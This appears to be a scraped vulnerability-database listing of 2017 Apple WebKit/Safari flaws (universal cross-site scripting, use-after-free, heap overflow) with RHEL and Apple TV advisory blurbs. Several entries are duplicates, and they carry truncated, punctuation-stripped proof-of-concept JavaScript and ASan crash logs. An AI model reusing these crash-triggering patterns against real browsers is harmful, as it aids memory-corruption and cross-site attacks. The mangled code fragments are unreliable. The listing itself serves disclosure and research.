iOS Safari Code Execution

The vulnerability of the WebKit component of the iOS operating system and the Safari browser arises from an operation that goes beyond the buffer boundaries in memory. Exploiting this vulnerability allows a malicious actor to execute arbitrary code or cause a service failure memory corruption,...

iOS Safari iTunes Information Disclosure

The vulnerability of the WebKit component of the iOS operating system, Safari browser, and iTunes media player is related to the lack of protection for service data. Exploiting this vulnerability can allow a malicious actor to bypass existing access restrictions or obtain confidential information...

RHEL 6 : chromium-browser (RHSA-2017:0860)

The remote Redhat Enterprise Linux 6 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2017:0860 advisory. Chromium is an open-source web browser, powered by WebKit Blink. This update upgrades Chromium to version 57.0.2987.133. Security Fixes:...

Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting Expl

Exploit for multiple platform in category web applications URL scriptURL; URL url; if protocolIsJavaScripturlString scriptURL = completeURLurlString; // completeURL encodes the URL. url = blankURL; else url = completeURLurlString; if shouldConvertInvalidURLsToBlank && !url.isValid url = blankURL;...

Apple WebKit - Document::adoptNode Use-After-Free Exploit

Exploit for multiple platform in category dos / poc var s = document.body.appendChilddocument.createElement'script'; s.type = '0'; s.textContent = 'document.body.appendChildparent.i0'; var i0 = s.appendChilddocument.createElement'iframe'; s.type = ''; var f =...

Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting Exploit

Exploit for multiple platform in category web applications child = mfirstChild removeBetweennullptr, child-nextSibling, child; notifyChildNodeRemovedthis, child; If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not...

Apple WebKit - JSC::B3::Procedure::resetReachability Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function for var i = 0; i 1000000; ++i const v = Array & 1 ? v : 1; typeof o = 'object'; ; !-- Asan Log: ================================================================= ==32191==ERROR: AddressSanitizer: heap-use-after-free on address...

Apple WebKit - JSC::SymbolTableEntry::isWatchable Heap Buffer Overflow Exploit

Exploit for multiple platform in category dos / poc function x = 0 var a; function arguments function b var g = 1; a5; f; g; ; , unsigned int, unsigned int webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+...

Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element

child = mfirstChild removeBetweennullptr, child-nextSibling, child; notifyChildNodeRemovedthis, child; If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the...

Apple WebKit - 'Document::adoptNode' Use-After-Free

var s = document.body.appendChilddocument.createElement'script'; s.type = '0'; s.textContent = 'document.body.appendChildparent.i0'; var i0 = s.appendChilddocument.createElement'iframe'; s.type = ''; var f = document.body.appendChilddocument.createElement'iframe'; f.contentDocument.adoptNodei0;...

Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free

function for var i = 0; i 1000000; ++i const v = Array & 1 ? v : 1; typeof o = 'object'; ; !-- Asan Log: ================================================================= ==32191==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000099738 at pc 0x000106c7af16 bp 0x700006a57850 sp...

Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow

function x = 0 var a; function arguments function b var g = 1; a5; f; g; ; , unsigned int, unsigned int webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73 4 0x10c2901ea in JSC::ScriptExecutable::newCodeBlockForJSC::CodeSpeciali...

Apple WebKit Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting

Apple WebKit Safari 10.0.3 12602.4.8 - Synchronous Page Load Universal Cross-Site Scripting URL scriptURL; URL url; if protocolIsJavaScripturlString scriptURL = completeURLurlString; // completeURL encodes the URL. url = blankURL; else url = completeURLurlString; if shouldConvertInvalidURLsToBlan...

Apple WebKit - JSC::B3::Procedure::resetReachability Use-After-Free

Apple WebKit - JSC::B3::Procedure::resetReachability Use-After-Free function for var i = 0; i 1000000; ++i const v = Array & 1 ? v : 1; typeof o = 'object'; ; !-- Asan Log: ================================================================= ==32191==ERROR: AddressSanitizer: heap-use-after-free on...

Apple WebKit Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element

Apple WebKit Safari 10.0.3 12602.4.8 - Universal Cross-Site Scripting via a Focus Event and a Link Element child = mfirstChild removeBetweennullptr, child-nextSibling, child; notifyChildNodeRemovedthis, child; If the location hash value is set, the page will give focus to the associated element...

Apple WebKit - Document::adoptNode Use-After-Free

Apple WebKit - Document::adoptNode Use-After-Free var s = document.body.appendChilddocument.createElement'script'; s.type = '0'; s.textContent = 'document.body.appendChildparent.i0'; var i0 = s.appendChilddocument.createElement'iframe'; s.type = ''; var f =...

Apple WebKit - JSC::SymbolTableEntry::isWatchable Heap Buffer Overflow

Apple WebKit - JSC::SymbolTableEntry::isWatchable Heap Buffer Overflow function x = 0 var a; function arguments function b var g = 1; a5; f; g; ; , unsigned int, unsigned int webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73 4...

WebKit Synchronous Page Load UXSS

WebKit: UXSS via a synchronous page load CVE-2017-2480 Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed. bool SubframeLoader::requestFrameHTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString&...

WebKit WebCore::toJS Use-After-Free

WebKit: WebCore::toJS use-after-free CVE-2017-2476 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function freememory var a; forvar i=0;i...

Apple TV < 10.2 Multiple Vulnerabilities

According to its banner, the version of Apple TV on the remote device is prior to 10.2. It is, therefore, affected by multiple vulnerabilities : - An out-of-bounds read error exists in LibTIFF in the DumpModeEncode function within file tifdumpmode.c. An unauthenticated, remote attacker can exploi...